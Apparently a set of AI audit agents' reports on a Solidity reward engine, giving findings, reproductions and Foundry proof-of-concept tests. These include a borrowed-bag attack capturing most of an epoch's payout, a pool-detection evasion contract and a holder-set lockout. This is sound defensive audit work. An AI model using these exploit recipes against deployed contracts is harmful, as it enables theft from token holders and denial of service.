     Harness as in test/pimd/PimdBase.t.sol. alice buys 300 IMD of PIMD and transfers the bag to address(router) (PoolSwapTest, a contract with no IMD-forwarding path) or to any address such as 0x1000 that no key exists for. register([that address]) succeeds: holderCount is 1 and holderInfo reports it registered.

     Warp 2 days and run fire/tally/pay: imd.balanceOf(that address) is greater than zero and nothing can move it; prune([that address]) leaves holderCount at 1 because its bag is above minBalance and its shape is unchanged.

     Expected: a payout that cannot be collected is not made.

     Actual: it is made and lost.

     whole reproduction
5. Audit flowAgent #351found 1 medium, 3 low, 2 info

   The review is complete. .imd-findings.json holds six findings (one medium, three low, two info), no source file was changed, and the only new files are the findings file and my scratch tests under test/scratch/.

   Findings

   • Medium, reclaim cursor never persists. _reclaimSlot writes reclaimCursor only on its own path, and register, its sole caller, reverts HolderSetFull whenever it returns false. The revert undoes the cursor write, so every failed call re-probes the same eight entries. A dead entry at index 8 or later is never reclaimed by register, and an attacker who filled the set by walking one bag only needs eight live minimum bags at the cursor to make every honest registration revert. Not strictly permanent, because prune is public and frees the slot by hand, but that is the two-transaction, front-runnable state the fix was meant to replace. A self-contained proof test is attached; it fails on this commit and passes once the sweep reaches the dead slot.
   • Low, _isPool is evadable from the other side. A contract with code from the start gets vettedCodeless = false, so _shapeChanged can never fire. If it does not answer token0/token1 with PIMD to the engine (any non-Uniswap AMM, or a pair that checks msg.sender), it is registered, weighed, paid, and unprunable. Verified with a pair that lies only to the engine.
   • Low, zero-weight epochs still pay tips. When the set is non-empty but weighs zero (first hour, or ghost-padded), fire pays fireTip and tally pays tipPerHolder per entry after returning the drip to the pot. Bounded to 5% of each cycle's drip, but it is the residual of the earlier M4.
   • Low, the gas ceiling is measured in the cheap state. With balances changed since the last tally, a cold tally costs 38,030 gas per holder. That puts 800 holders at 30.4M (95% of the 32M budget, not 86%) and makes the 900 constructor ceiling unweighable at 34.2M.
   • Info. bind never checks the hook's team() against the engine's team, so a mismatched deploy leaves the real team wallet registrable. And a sale restarts the streak only if it is still visible at the next tally, so a sell-and-rebuy inside one epoch window keeps the tier, contrary to the NatSpec.

   Answers to the questions asked

   The four previous fixes close what they claimed, with the reclaim path carrying the defect above. The CREATE2 play is closed by vettedCodeless plus _shapeChanged. The EIP-7702 case is bounded: code arriving zeroes weight and makes the holder prunable, code leaving restores earning without a prune, and I found no state where a holder earns nothing and cannot be pruned (a holder IMD refuses still weighs, but its share returns to the pot). prune cannot be aimed at an earning holder, and swap-and-pop is correct when the pruned entry is last, including batches with duplicates. Beyond the exclusion list, any keyless address or non-forwarding contract can be registered on a minimum bag, but the stranded share is proportional to the bag the registrant gave up.

   The standing properties hold: the whole-set tally weighs each bag at most once per epoch, every weight-reading entry point checks the PoolManager lock, a refused holder is skipped with its share returned, beforeRemoveLiquidity refuses every negative delta from any caller, beforeAddLiquidity admits exactly the factory's one add, beforeInitialize enforces IMD as currency0 and a non-dynamic fee tier, and claims minted equal holdersOwed + teamOwed with flush burning exactly that. One caveat worth stating: the liquidity guards are skipped by v4-core's noSelfCall when the hook itself is the caller, so they hold only because the hook has no modifyLiquidity path, which it does not. The try/catch around flush is safe here: gas starvation cannot make flush fail while the rest of fire succeeds, and no engine state depends on the call beyond the balance _book reads afterwards. Its only cost is that a hook-side revert

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   • mediumReclaim sweep cursor never persists on a failed sweep, so register only ever probes the same eight entries and eight live minimum bags at the cursor restore the holder-set lockoutsrc/pimd/PimdEngine.sol:298

     The fix for finding 2 makes a full set give up a dead slot through _reclaimSlot, which probes RECLAIM_PROBES (8) entries from reclaimCursor and, per its NatSpec, persists the cursor so repeated calls sweep the whole set. The persistence does not exist. reclaimCursor is written only inside _reclaimSlot (lines 664 and 670), and register, its only caller, reverts HolderSetFull the moment _reclaimSlot returns false (line 298).

     The revert undoes the cursor write, so a failed sweep leaves reclaimCursor exactly where it was and the next register call probes the same eight entries again. The cursor only ever moves to the index of a slot that was successfully reclaimed.

     Consequence: a dead entry at index cursor+8 or later is never found by register, however many times it is called. An attacker who filled the set by walking one bag (the finding-2 scenario) only has to keep the eight entries at the cursor funded with minBalance each (8 x 1,000,000 PIMD at the live minimum, 0.8% of supply) to make every register call in the system revert HolderSetFull for every honest holder, indefinitely.

     The lockout is not permanent in the strict sense, because prune(address[]) is public and anyone who knows which entry is dead can free it by hand and then register, but that is the two-transaction, front-runnable state the atomic reclaim was written to replace, and nothing in the HolderSetFull revert tells a caller that a prune would help.

     The NatSpec on _reclaimSlot ('The cursor persists, so repeated calls sweep the set rather than re-reading the same head every time') and the commit message's 'persistent cursor so repeated calls sweep' describe behaviour the code does not have.

     Fixing it needs the cursor to survive a failed sweep (skip the account instead of reverting, or advance the cursor in a path that does not revert) or a sweep that covers the whole bounded set, which at 900 entries is affordable since each probe is one balanceOf and one EXTCODESIZE.

     whole finding

     Engine with maxHolders = 10 (any value; the live 800 behaves the same with the dead entry at index 8 or later).

     Ten addresses each buy >= minBalance PIMD and register, filling the set.

     The holder at index 8 transfers its whole bag away, so balanceOf(index 8) < minBalance and it is reclaimable.

     A fresh address with >= minBalance calls register([fresh]).

     Expected: the dead slot is reclaimed and fresh is registered, on the first call or on the second once the cursor has moved past the first eight.

     Actual: register reverts HolderSetFull(10) on the first call, and on the second, third and every later call; reclaimCursor() reads 0 before and after each attempt. prune([index8]) followed by register([fresh]) succeeds, which shows the slot was reclaimable all along. test/scratch/ReclaimCursor.t.sol (attached as proof) fails on this code and passes once the sweep reaches index 8 (for example with RECLAIM_PROBES raised to cover the set, or a cursor that persists across a failed attempt).

     whole reproduction

   • low_isPool is evaded by any contract that carries code from the start and does not answer token0/token1 to the engine; such a pool is registered, weighed, paid and can never be prunedsrc/pimd/PimdEngine.sol:693

     The CREATE2 play (register an empty address, mature a streak, then deploy pair code into it) is closed: register records vettedCodeless = true for a codeless address, tally applies _shapeChanged the epoch code arrives, and prune drops the entry on the same test. From the other side it is not closed.

     An address that has code at registration gets vettedCodeless = false, so _shapeChanged can never fire for it, and the only pool test it ever faces is _isPool: a staticcall from the engine to token0() and token1() compared with the PIMD address.

     A pool that holds PIMD and either does not expose those selectors (any non-Uniswap AMM, a vault, a bonding curve) or answers them differently when msg.sender is the engine passes register, is weighed at full balance and tier in every tally, is paid IMD, and cannot be removed: prune drops only on balance < minBalance, _shapeChanged or _isPool, and all three stay false. The drips the pool receives are captured by its LPs, which is exactly the outcome the probe exists to prevent.

     The intent is only a heuristic against honest V2/V3 pairs, and the acknowledged scope decision at bind covers lockers and wrappers, but the answer to the question asked (can the vetting be evaded by an address that carries code from the start) is yes, permanently, by a contract that lies to one caller.

     Fixing it fully is not possible with a probe; what can be done is to limit the damage (a per-holder weight cap, or treating any contract holder as a scope decision at bind) which is an economics decision and is not proposed here.

     whole finding

     Deploy contract LyingPair { function token0() view returns (address) { return msg.sender == ENGINE ? address(0xBEEF) : PIMD; } function token1() view returns (address) { return IMD; } } so to every caller but the engine it is a PIMD/IMD pair.

     Send it >= minBalance PIMD and call register([pair]).

     Expected: _isPool sees a pair and skips it.

     Actual: holderInfo(pair).registered == true.

     After 2 days, fire/tally/pay: imd.balanceOf(pair) > 0, the pair was paid a drip. prune([pair]) returns with the pair still registered.

     Verified in test/scratch/Probe.t.sol::test_a_pair_that_lies_to_the_engine_is_never_caught against the test harness.

     whole reproduction

   • lowKeeper tips are still paid for an epoch that distributes nothing when the whole set weighs zerosrc/pimd/PimdEngine.sol:455

     The earlier M4 fix stopped fire from arming a tip budget and paying fireTip when the holder set is empty or the drip is zero. The same leak remains when the set is non-empty but every holder weighs zero: fire arms tipBudget = 5% of the drip and pays fireTip, tally finds tw == 0, returns the whole drip to the pot and goes Idle, and then still pays tipPerHolder times the number of entries walked, out of the pot.

     Nothing was distributed, yet up to 5% of that cycle's drip left the pot to the caller, and fire can be called again minInterval (2 minutes) later.

     The zero-weight state is reachable without an attacker in the first hour after the first registrations (every tier is 0x under an hour), and with one: a set padded with ghost entries whose bags are below minBalance weighs zero and still pays tipPerHolder per ghost walked (0.003 IMD each at the live value, 2.4 IMD for 800) each cycle, bounded only by the 5% budget of each cycle's drip.

     Over 25 two-minute cycles on a 3.6 IMD pot the caller took 0.0287 IMD (0.8% of the pot) while totalDripped stayed 0. The amount is small because the budget caps it, so this is a leak rather than a drain, but it is the case M4 was meant to close and it is still open.

     whole finding

     Launch, pass the cap window, alice buys 200 IMD of PIMD and registers; flush the hook so the engine holds IMD.

     Within alice's first hour, every 2 minutes call fire then tally(n) from the keeper, 25 times.

     Expected: no epoch distributes anything, so no tip is paid and pot + nothing leaves.

     Actual: each cycle fire opens an epoch, tally returns the drip to the pot and phase goes Idle, and the keeper's IMD balance rises every cycle; after 25 cycles the keeper holds 28,700,679,764,040,172 wei IMD, totalDripped == 0 and alice holds 0.

     Verified in test/scratch/Probe.t.sol::test_zero_weight_epoch_still_pays_tips.

     whole reproduction

   • lowThe 900 constructor ceiling and the 86% headroom claim for 800 are measured in the cheap tally state; the worst state costs 38.0k gas per holder, so 900 holders cannot be weighed and 800 sit at 95% ofsrc/pimd/PimdEngine.sol:194

     The comment above this line, the deploy script and test_epoch_gas_for_100_holders all use 34,576 gas per weighed holder, giving 31.1M for 900 and 27.7M (86%) for 800 against the 32,000,000 ArbOS per-transaction limit. That figure is the cold-slot cost with every holder's balance unchanged since the last tally, where the lastBal/streakStart slot is rewritten with the same value (100 gas).

     The ordinary state in a traded market is that balances changed, which turns that write into a nonzero-to-nonzero SSTORE (2,900 gas) on a cold slot.

     Measured on this code with every holder's balance changed since registration, the first-epoch tally costs 38,030 gas per holder: 800 holders need 30.4M (95% of 32M, 1.6M of headroom before the L1 poster component Arbitrum adds to gasUsed), and the 900 the constructor accepts as 'a hard ceiling, not a preference' needs 34.2M, which cannot execute.

     A deployment at or near 900 is therefore not protected by the check that exists to prevent exactly this, and at 800 one cold-access repricing or an L1 fee spike that pushes the poster gas past ~1.5M makes an epoch unweighable; with no owner and prune only able to drop dead or pool-shaped entries, the engine would then cycle fire, tally-reverts, abortEpoch for ever.

     The launch value of 800 does fit today, so this is a margin error rather than a live failure, but the comment and the ceiling should carry the worst-state number.

     whole finding

     Register 100 holders who each bought PIMD, then transfer 1 PIMD to each so every balance differs from the lastBal recorded at registration; warp 2 days; fire; measure tally(100) with gasleft().

     Expected per the comment: about 34.6k per holder.

     Actual: 3,803,0xx gas, 38,030 per holder (test/scratch/GasWorst2.t.sol::test_cold_tally_with_changed_balances).

     Multiplied out: 800 x 38,030 = 30,424,000; 900 x 38,030 = 34,227,000 > 32,000,000.

     For comparison the shipped Gas.t.sol measurement with unchanged balances gives 34,576.

     whole reproduction

   • infobind does not check the hook's team wallet against the engine's team, so a mismatched deploy leaves the real team wallet registrablesrc/pimd/PimdEngine.sol:224

     bind verifies the hook's engine, quote, token and poolManager, and excludes the engine's own immutable team from the holder set. The hook pays its team to a separate source constant TEAM_WALLET (0x0960...), and the deploy script takes the engine's team from the TEAM_MULTISIG environment variable with no assertion that the two agree.

     If they differ, the wallet that actually receives the team's 25% is not in the exclusion list and can be registered on any PIMD it holds, while an address that receives nothing is excluded instead. Exclusion of the team is a policy ('the team never holds or sells PIMD'), not a safety property, and bind is one-shot, so this is an information item: adding team() to IPimdHookLike and checking h.team() == team at bind (or listing the hook's team in alsoExclude) closes it.

     Deploy the engine with Config.team = A and a hook whose team() returns B != A (the harness in test/pimd/PimdBase.t.sol does exactly this if its team argument differs from the engine's). bind succeeds. engine.excluded(B) == false. Send B >= minBalance PIMD and call register([B]): B is registered and is paid IMD at the next epoch, although B is the wallet the hook pays the team slice to.

   • infoA sale restarts the streak only if it is still visible at the next tally; sell-and-rebuy inside one epoch window keeps the tier, contrary to the NatSpecsrc/pimd/PimdEngine.sol:427

     The token has no transfer hook, so the engine can only compare the balance at this tally with lastBal from the previous one. A holder who sells any amount and buys back at least the same amount before the next tally shows bal >= lastBal and keeps streakStart untouched, so the 3x tier survives a round trip through the pool.

     The NatSpec on tally says 'Selling is unchanged and still restarts the streak immediately', and the README says selling restarts the streak; neither is true between two tallies, which at the keeper's cadence is a 15-minute window and at the contract's floor is 2 minutes.

     The weight is still bounded by min(bal, lastBal) so nothing is over-counted, and the design is a deliberate trade-off for a dumb token; this is recorded so the documented economics match the code, not as a proposal to change them.

     alice holds 1,000,000 PIMD with a 15-day streak (tier 30,000).

     Between two tallies she sells 1,000,000 PIMD to the pool and buys back 1,000,000 PIMD (plus the tax) before the keeper fires.

     At the next tally bal >= lastBal, so streakStart is not rewritten: holderInfo(alice).tierBps == 30,000 and her weight is 3x her bag.

     Expected per the documentation: the clock restarts and tierBps is 0 for an hour.

6. Audit judgeAgent #1731found 1 high, 1 medium, 6 low, 3 info

   The review is complete. The findings file holds 11 findings, every one reproduced against the code at this commit, with the 20 specialist findings merged down to those 11 and none dropped as non-reproducing.

   What I kept, by severity

   • High: borrowed weight. The min(bal, lastBal) defence is satisfied by a bag borrowed at two consecutive attacker-run epochs, because tally itself writes lastBal and fire/tally/pay are permissionless. My proof has an attacker wallet owning the minimum bag take 79.3 IMD of an 89.7 IMD epoch against an honest ceiling of 8.2 IMD, with the loan back at the lender afterwards. Precondition stated: a PIMD source to borrow outside V4. Proof attached and mutation-checked.
   • Medium: reclaim cursor never persists. The HolderSetFull revert undoes the cursor write, so register only ever probes the same eight entries. Eight live bags at the head plus one walked bag re-creates the lockout the fix was written for. Three specialists reported this. Proof attached, fails on this code and passes with the revert replaced by continue.
   • Low (6): the self-reported _isPool probe evaded by contracts that carry code from the start (four specialists merged), keyless addresses above 0x100 stranding drips, a stranger voiding a counterfactual smart-account's streak via its public factory, tips paid on a zero-weight epoch (three merged), the 900 ceiling being unweighable with changed balances (measured 33.3M gas against 32M, 800 at 29.6M), and bind not checking the hook's team wallet.
   • Info (3): totalToTeam booking the pre-tip slice, sell-and-rebuy inside one epoch window keeping the tier contrary to the docs, and the silent empty catches around flush.

   Brief questions answered inside the findings. The CREATE2 play is closed but evaded from the code side. No holder can be stuck at zero weight and unprunable. Swap-and-pop on the last element is correct, and the reclaim path removes only what prune would. The exclusion list cannot cover keyless or sweep-less addresses. The try/catch is safe but silent. Nothing reproduced against the hook's liquidity gates, beforeInitialize, or the claims accounting, and the whole-set tally still prevents one bag being counted twice within a tally.

   The scratch tests live in test/scratch/ and the engine source is byte-identical to the commit.

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   • highmin(bal, lastBal) is satisfied by a bag borrowed at two consecutive attacker-run tallies, so a flash loan from outside V4 is weighed in fullsrc/pimd/PimdEngine.sol:435

     The H1 fix weighs each holder on min(bal, lastBal) and the NatSpec on tally says a bag not already there at the previous tally carries no weight. lastBal is written from the live balance by tally itself (line 436) and by register (line 305), fire/tally/pay are permissionless and can run in one transaction once minInterval (2 minutes) has passed, and _requireLocked only sees a borrow taken inside the V4 PoolManager.

     So an attacker who runs two consecutive epochs with a borrowed bag in the registered wallet for the length of each call is present at both reads: the first tally writes lastBal = loan, the second weighs min(loan, loan). The streak is blended toward the first loan epoch, so the weight is 0x for an hour and 0.5x after that, but with a loan several times the honest registered supply 0.5x is already most of every drip.

     To keep lastBal and the streak the attacker must run every epoch (any tally that sees bal < lastBal resets both), which it does by firing at every minInterval boundary so the keeper's fire hits TooSoon; a keeper that lands first costs the attacker a restart, not the capital.

     Precondition: a source of PIMD to borrow outside the V4 pool (a V2 pair flash swap, a money market, or the attacker's own pooled capital, which then earns LP fees elsewhere and the full drip, defeating the purpose of _isPool). None exists at launch, but nothing prevents one. The whole-set tally still stops one bag being counted once per wallet within a single tally; that property holds.

     What does not hold is the documented claim that a borrowed bag carries no weight. Merged from audit_economics (its reproduction confirmed; its path 1, register-time credit with no intervening tally, is a special case that keeper epochs in production would reset, so the two-consecutive-epochs path is the one reported).

     A fix cannot come from balance snapshots at attacker-chosen instants: either the read instant must leave the attacker's control (a restricted tally with abortEpoch as the liveness hatch) or holding time must be tracked where transfers happen. Both are design decisions, reported not proposed.

     whole finding

     Engine with minBalance 100,000 PIMD, 4% drip per 15 minutes, 2 minute floor, pot seeded with 1,000 IMD. alice holds 1,000,000 PIMD, registered; attacker wallet B holds exactly 100,000 PIMD, registered; a lender contract holds 50,000,000 PIMD.

     Warp 15 days and run one honest keeper epoch (both at 3x).

     Then, one hour later, the lender transfers its bag to B, calls fire, tally, pay, and B transfers it back, all in one call; two hours after that the lender does the same again.

     Expected per the tally NatSpec: in the second epoch B is paid at most what a 100,000 bag can earn against alice's 1,000,000 at the same tier, 8.16 IMD of an 89.7 IMD quote.

     Actual: B receives 79.33 IMD (88% of the epoch) while holding 100,000 PIMD before and after, and the loan is back with the lender. forge test --match-path test/scratch/BorrowedWeight.t.sol fails with 79325227679612169070 > 8155773408736173310.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {ERC20} from "solmate/src/tokens/ERC20.sol";
     import {PimdEngine} from "src/pimd/PimdEngine.sol";
     import {PimdToken} from "src/pimd/PimdToken.sol";
     
     /// Stand-in for IMD: a plain 18-decimal ERC-20.
     contract MockIMD is ERC20("Identity.md", "IMD", 18) {
         function mint(address to, uint256 amount) external {
             _mint(to, amount);
         }
     }
     
     /// Stand-in for the PoolManager: the engine only reads its transient unlock flag, which is never set here.
     /// A loan taken anywhere other than inside the V4 PoolManager is exactly what this test stages.
     contract FakePoolManager {
         function exttload(bytes32) external pure returns (bytes32) {
             return bytes32(0);
         }
     }
     
     /// Stand-in for the hook: answers exactly what `bind` and `fire` ask of it, and holds nothing.
     contract FakeHook {
         address public engine;
         address public quote;
         address public token;
         address public poolManager;
         address public launchFactory = address(0xFAC);
         uint256 public holdersOwed;
     
         constructor(address engine_, address quote_, address token_, address pm_) {
             engine = engine_;
             quote = quote_;
             token = token_;
             poolManager = pm_;
         }
     
         function flush() external pure returns (uint256, uint256) {
             return (0, 0);
         }
     
         function flushHolders() external pure returns (uint256) {
             return 0;
         }
     }
     
     /// A flash borrower outside Uniswap V4: holds a bag, lends it to `taker` for the length of one call that
     /// runs a whole epoch, and takes it back before returning. Every engine call is wrapped so that a fix which
     /// refuses the attacker's calls (a keeper-only tally, say) turns the attack into a no-op rather than a revert.
     contract Lender {
         PimdEngine immutable engine;
         PimdToken immutable token;
     
         constructor(PimdEngine e, PimdToken t) {
             engine = e;
             token = t;
         }
     
         function lendAcrossAnEpoch(address taker) external {
             uint256 loan = token.balanceOf(address(this));
             token.transfer(taker, loan);
             try engine.fire() {} catch {}
             if (engine.phase() == PimdEngine.Phase.Tally) {
                 try engine.tally(type(uint256).max) {} catch {}
             }
             if (engine.phase() == PimdEngine.Phase.Pay) {
                 try engine.pay(type(uint256).max) {} catch {}
             }
             Taker(taker).giveBack(address(this), loan);
         }
     }
     
     /// The attacker's registered wallet. Holds exactly the minimum bag of its own between epochs.
     contract Taker {
         PimdToken immutable token;
     
         constructor(PimdToken t) {
             token = t;
         }
     
         function giveBack(address to, uint256 amount) external {
             token.transfer(to, amount);
         }
     }
     
     /// `tally` weighs on min(bal, lastBal) so that "a bag that was not already there at the previous tally
     /// carries no weight". But lastBal is written by tally itself, and fire/tally/pay are permissionless, so a
     /// bag borrowed for the length of two attacker-run epochs is present at both reads and is weighed in full at
     /// the second one. The attacker's own capital between epochs is one minimum bag.
     contract BorrowedWeightTest is Test {
         uint256 constant MIN = 100_000e18;
     
         PimdEngine engine;
         PimdToken token;
         MockIMD imd;
         FakePoolManager pm;
         FakeHook hook;
         Lender lender;
         Taker taker;
     
         address alice = address(0xA11CE);
         address keeper = address(0x4EE7);
     
         function setUp() public {
             pm = new FakePoolManager();
             imd = new MockIMD();
             token = new PimdToken(); // the whole supply lands here
             engine = new PimdEngine(
                 PimdEngine.Config({
                     poolManager: address(pm),
                     imd: address(imd),
                     team: address(0x7EA),
                     binder: address(this),
                     dripBpsPerPeriod: 400,
                     minInterval: 2 minutes,
                     minBalance: MIN,
                     fireTip: 0.02e18,
                     tipPerHolder: 0.0005e18,
                     maxCatchup: 6 hours,
                     maxHolders: 800
                 })
             );
             hook = new FakeHook(address(engine), address(imd), address(token), address(pm));
             engine.bind(address(token), address(hook), new address[](0));
     
             // the holders' pot: 1,000 IMD
             imd.mint(address(this), 1_000e18);
             imd.approve(address(engine), type(uint256).max);
             engine.seed(1_000e18);
     
             lender = new Lender(engine, token);
             taker = new Taker(token);
         }
     
         function _register(address who) internal {
             address[] memory a = new address[](1);
             a[0] = who;
             engine.register(a);
         }
     
         function _keeperEpoch() internal {
             vm.startPrank(keeper, keeper);
             engine.fire();
             if (engine.phase() == PimdEngine.Phase.Tally) engine.tally(type(uint256).max);
             if (engine.phase() == PimdEngine.Phase.Pay) engine.pay(type(uint256).max);
             vm.stopPrank();
         }
     
         function test_a_bag_borrowed_at_two_consecutive_tallies_is_weighed_in_full() public {
             // alice is an honest holder of 1,000,000 PIMD. The attacker's wallet holds exactly the minimum.
             uint256 aliceBag = 1_000_000e18;
             token.transfer(alice, aliceBag);
             token.transfer(address(taker), MIN);
             _register(alice);
             _register(address(taker));
             // the lender's bag is 50x alice's. It sits outside every registered wallet between epochs.
             uint256 loan = 50_000_000e18;
             token.transfer(address(lender), loan);
     
             // both holders mature to the top of the ladder on an honest keeper cadence
             vm.warp(vm.getBlockTimestamp() + 15 days);
             _keeperEpoch();
             assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Idle), "the honest epoch completed");
     
             // the attacker runs two consecutive epochs with the loan in the wallet for the length of each call:
             // the first tally writes lastBal = loan, the second is weighed on min(loan, loan).
             vm.warp(vm.getBlockTimestamp() + 1 hours);
             lender.lendAcrossAnEpoch(address(taker));
             uint256 before = imd.balanceOf(address(taker));
             vm.warp(vm.getBlockTimestamp() + 2 hours);
             uint256 quote = engine.dripPreview();
             lender.lendAcrossAnEpoch(address(taker));
             uint256 got = imd.balanceOf(address(taker)) - before;
     
             // between epochs the attacker holds only the minimum, and the loan is back with the lender
             assertEq(token.balanceOf(address(taker)), MIN, "the attacker's own bag is the minimum");
             assertEq(token.balanceOf(address(lender)), loan, "the loan went back");
     
             // the most a wallet that owns the minimum bag can honestly take from that epoch: its bag at the top
             // tier against alice's bag at the top tier
             uint256 honestCeiling = (quote * (MIN * 3)) / (MIN * 3 + aliceBag * 3);
             assertLe(
                 got,
                 (honestCeiling * 101) / 100,
                 "a bag borrowed for the length of the epoch call was weighed in full: the attacker was paid as a holder of the loan"
             );
         }
     }

     whole proof

   • mediumReclaim cursor is rolled back by the HolderSetFull revert, so register only ever probes the same eight entries and a dead slot behind a live head is never reclaimedsrc/pimd/PimdEngine.sol:298

     _reclaimSlot probes RECLAIM_PROBES (8) entries from reclaimCursor, writes reclaimCursor = c on a miss (line 670) and returns false; its NatSpec says the cursor persists so repeated calls sweep the set. Its only caller is register, which on false immediately reverts HolderSetFull, and the revert undoes the cursor write. The cursor therefore moves only on a successful reclaim, to the index just refilled.

     Against a full set register examines the eight entries at the current cursor and nothing else, for ever: if those eight hold at least minBalance and have grown no code, every call reverts identically no matter how many dead entries sit behind them. The fix for finding 2 of the previous audit therefore holds only when a dead entry happens to sit within eight positions of the cursor.

     An attacker who registers eight minimum bags first (8,000,000 PIMD at the production minimum, about 20 IMD at the opening tick) and pads the rest of the set by walking one bag re-creates the lockout the fix was written for, and the same shape arises with no attacker when the first eight registrants are long-term holders and a dead entry sits anywhere later.

     The residual escape is a manual prune of a specific dead address by someone who has enumerated the set off chain, which is the two-transaction, front-runnable state the atomic reclaim was meant to replace; nothing in the HolderSetFull revert says a prune would help.

     On the brief's question whether the reclaim path opened anything new: what it removes is sound (same test as prune, Idle-only, _removeAt is correct including when the evicted entry is the last element, and the registrant cannot be its own evictee because an index1 != 0 address is skipped first); it simply does not deliver the sweep the commit and the NatSpec claim. Merged from audit_permissions, audit_math and audit_flow, which report the same mechanism.

     Fixing it needs the cursor write to survive a miss (skip the account instead of reverting, or move the sweep into a non-reverting path) or a sweep that covers the whole bounded set; no revert can carry a storage write.

     whole finding

     Engine with maxHolders 10 and minBalance 100,000 PIMD (the live 800 behaves the same with the dead entry at index 8 or later).

     Register eight live holders at indices 0..7, each on its own minimum bag.

     Walk one bag through ghost0 and ghost1, registering each (indices 8 and 9), then move the bag out: the set is full, both ghosts hold 0, reclaimCursor is 0.

     Give the bag to an honest address and call register([honest]) up to three times.

     Expected per the NatSpec: attempt 1 probes 0..7 and persists cursor = 8, attempt 2 probes index 8, evicts ghost0 and registers honest.

     Actual: every attempt reverts HolderSetFull(10), reclaimCursor() stays 0, honest is never registered. forge test --match-path test/scratch/ReclaimCursor.t.sol fails on this code and passes when the revert at line 298 is replaced by continue (verified by mutation).

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {ERC20} from "solmate/src/tokens/ERC20.sol";
     import {PimdEngine} from "src/pimd/PimdEngine.sol";
     import {PimdToken} from "src/pimd/PimdToken.sol";
     
     /// Stand-in for IMD: a plain 18-decimal ERC-20.
     contract MockIMD is ERC20("Identity.md", "IMD", 18) {
         function mint(address to, uint256 amount) external {
             _mint(to, amount);
         }
     }
     
     /// Stand-in for the PoolManager: the engine only reads its transient unlock flag, which is never set here.
     contract FakePoolManager {
         function exttload(bytes32) external pure returns (bytes32) {
             return bytes32(0);
         }
     }
     
     /// Stand-in for the hook: answers exactly what `bind` and `fire` ask of it, and holds nothing.
     contract FakeHook {
         address public engine;
         address public quote;
         address public token;
         address public poolManager;
         address public launchFactory = address(0xFAC);
         uint256 public holdersOwed;
     
         constructor(address engine_, address quote_, address token_, address pm_) {
             engine = engine_;
             quote = quote_;
             token = token_;
             poolManager = pm_;
         }
     
         function flush() external pure returns (uint256, uint256) {
             return (0, 0);
         }
     
         function flushHolders() external pure returns (uint256) {
             return 0;
         }
     }
     
     /// The reclaim sweep that was written to close "a walked bag locks the holder set for ever" never moves its
     /// cursor on a miss: `_reclaimSlot` writes `reclaimCursor = c` and returns false, and `register` then reverts
     /// HolderSetFull, which undoes that write. So `register` against a full set only ever examines the eight
     /// entries at the current cursor. Eight live entries at the head and a dead entry anywhere behind them is a
     /// set that `register` can never reclaim, however many times it is called.
     contract ReclaimCursorTest is Test {
         uint256 constant MIN = 100_000e18;
         uint256 constant MAX_HOLDERS = 10;
     
         PimdEngine engine;
         PimdToken token;
         MockIMD imd;
         FakePoolManager pm;
         FakeHook hook;
     
         function setUp() public {
             pm = new FakePoolManager();
             imd = new MockIMD();
             token = new PimdToken(); // the whole supply lands here
             engine = new PimdEngine(
                 PimdEngine.Config({
                     poolManager: address(pm),
                     imd: address(imd),
                     team: address(0x7EA),
                     binder: address(this),
                     dripBpsPerPeriod: 400,
                     minInterval: 2 minutes,
                     minBalance: MIN,
                     fireTip: 0.02e18,
                     tipPerHolder: 0.0005e18,
                     maxCatchup: 6 hours,
                     maxHolders: MAX_HOLDERS
                 })
             );
             hook = new FakeHook(address(engine), address(imd), address(token), address(pm));
             engine.bind(address(token), address(hook), new address[](0));
         }
     
         function _register(address who) internal returns (bool ok) {
             address[] memory a = new address[](1);
             a[0] = who;
             (ok,) = address(engine).call(abi.encodeCall(engine.register, (a)));
         }
     
         function _registered(address who) internal view returns (bool r) {
             (r,,,,) = engine.holderInfo(who);
         }
     
         function test_register_never_reclaims_a_dead_slot_behind_a_live_head() public {
             // eight live holders fill indices 0..7, each on its own minimum bag
             for (uint256 i; i < 8; ++i) {
                 address live = address(uint160(0x1000 + i));
                 token.transfer(live, MIN);
                 assertTrue(_register(live), "live holder registers");
             }
             // one bag walked through two fresh addresses fills indices 8 and 9; both are left holding nothing
             address ghost0 = address(0xDEAD00);
             address ghost1 = address(0xDEAD01);
             token.transfer(ghost0, MIN);
             assertTrue(_register(ghost0), "ghost0 registers");
             vm.prank(ghost0);
             token.transfer(ghost1, MIN);
             assertTrue(_register(ghost1), "ghost1 registers");
             vm.prank(ghost1);
             token.transfer(address(this), MIN);
             assertEq(engine.holderCount(), MAX_HOLDERS, "the set is full");
             assertLt(token.balanceOf(ghost0), MIN, "ghost0 is dead");
             assertLt(token.balanceOf(ghost1), MIN, "ghost1 is dead");
             assertEq(engine.reclaimCursor(), 0, "cursor at the head");
     
             // an honest holder with a real bag tries to get in. The NatSpec on _reclaimSlot promises that the
             // cursor persists so repeated calls sweep the set: the first call probes 0..7 and moves the cursor to
             // 8, the second finds ghost0 at index 8. Three attempts is more than enough under that promise.
             address honest = address(0xB0B);
             token.transfer(honest, MIN);
             for (uint256 attempt; attempt < 3 && !_registered(honest); ++attempt) {
                 _register(honest); // a revert here is HolderSetFull; the sweep is supposed to make the next one succeed
             }
             assertTrue(_registered(honest), "three register attempts never reclaimed either dead slot behind the live head");
             assertEq(engine.holderCount(), MAX_HOLDERS, "and the set is still bounded");
         }
     }

     whole proof

   • low_isPool is self-reported: a contract with code from the start can answer the engine differently, or turn pair-shaped later, and tally never re-examines itsrc/pimd/PimdEngine.sol:693

     Answer to the brief's first question. The CREATE2 play is closed: an address vetted codeless loses all weight in the first tally after code lands (_shapeChanged at line 438) and prune and _reclaimSlot drop it on the same test, so unmodified pair code deployed into a pre-registered empty address earns nothing from that epoch on. It is evaded from the other side.

     An address that has code at register gets vettedCodeless = false for good, so _shapeChanged can never fire, and the only pool test it ever faces is _isPool: a staticcall it answers itself.

     Two shapes, both reproduced: (a) a contract whose token0() returns PIMD to every caller except the engine (msg.sender is visible in a staticcall) registers, is weighed and paid every epoch, and prune re-asks the same liar the same question so it can never be removed while its bag stays above the minimum; (b) a contract whose token0() answer is mutable (a storage slot, a proxy) registers while not pair-shaped, becomes pair-shaped without new code, and keeps full weight every epoch until somebody notices and calls prune.

